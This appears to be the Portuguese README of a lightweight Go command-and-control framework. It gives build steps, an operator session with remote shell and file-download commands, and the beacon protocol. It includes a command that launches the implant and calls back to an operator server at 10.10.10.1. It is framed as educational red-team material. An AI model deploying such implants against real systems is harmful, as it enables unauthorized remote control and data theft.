Framework C2 (Command and Control) leve escrito em Go. Consiste em um server interativo e um agent que faz callback periodico. Toda comunicacao e cifrada com AES-256-GCM.
AVISO: Projeto educacional para estudo de tecnicas de red team. O uso sem autorizacao e ilegal.
- Server com shell interativo estilo Metasploit
- Agent multi-plataforma (Linux, macOS, Windows)
- Comunicacao cifrada com AES-256-GCM sobre HTTP
- Beacon periodico com checkin de status
- Execucao remota de comandos shell
- Coleta de informacoes do sistema
- Download de arquivos do alvo
- Fila de comandos por agent
- Suporte a multiplos agents simultaneos
git clone https://github.com/ispectr3/c2-lite.git
cd c2-lite
# Compilar server
go build -o c2-server ./server/
# Compilar agent
go build -o c2-agent ./agent/GOOS=windows GOARCH=amd64 go build -o c2-agent.exe ./agent/# Porta padrao 4443
./c2-server
# Porta e chave customizadas
C2_PORT=8080 C2_KEY="minha-chave-secreta" ./c2-serverC2_SERVER="http://10.10.10.1:4443" C2_KEY="minha-chave-secreta" ./c2-agent| Comando | Descricao |
|---|---|
agents |
Listar agents conectados |
use <id> |
Selecionar agent pelo ID |
shell <cmd> |
Executar comando no agent |
sysinfo |
Info do sistema do agent |
download <path> |
Baixar arquivo do agent |
kill |
Encerrar agent selecionado |
back |
Desselecionar agent |
exit |
Encerrar server |
c2 > agents
ID HOSTNAME USER OS PID LAST SEEN
---------------------------------------------------------------------------
srv-PC-44 target-pc admin linux 1337 2s [ALIVE]
c2 > use srv
[*] Agent selecionado: srv-PC-44
c2(srv-PC-4) > sysinfo
[>] Comando enfileirado para srv-PC-44
[<] Resposta de srv-PC-44:
Hostname: target-pc
OS: linux
Arch: amd64
User: admin
...
c2(srv-PC-4) > shell whoami
[>] Comando enfileirado para srv-PC-44
[<] Resposta de srv-PC-44:
admin
Operador Alvo
+----------+ HTTP/AES-256 +----------+
| Server | <===============> | Agent |
| (shell) | /beacon | (implant)|
| | /task | |
| | /result | |
+----------+ +----------+
Fluxo:
1. Agent faz POST /beacon (checkin periodico)
2. Agent faz GET /task (busca comandos pendentes)
3. Agent executa e faz POST /result (envia output)
c2-lite/
├── server/
│ └── main.go # Server C2 + shell interativo
├── agent/
│ └── main.go # Agent/implant
├── shared/
│ ├── protocol.go # Structs de comunicacao (Command, Response, Beacon)
│ └── crypto.go # AES-256-GCM encrypt/decrypt
├── go.mod
├── README.md
├── LICENSE
└── .gitignore
| Variavel | Descricao | Padrao |
|---|---|---|
C2_PORT |
Porta do server | 4443 |
C2_KEY |
Passphrase para criptografia | chave padrao |
C2_SERVER |
URL do server (agent) | http://127.0.0.1:4443 |
Este projeto existe puramente para fins educacionais e de pesquisa em seguranca ofensiva. Nao utilize em sistemas sem autorizacao por escrito. O autor nao se responsabiliza por uso indevido.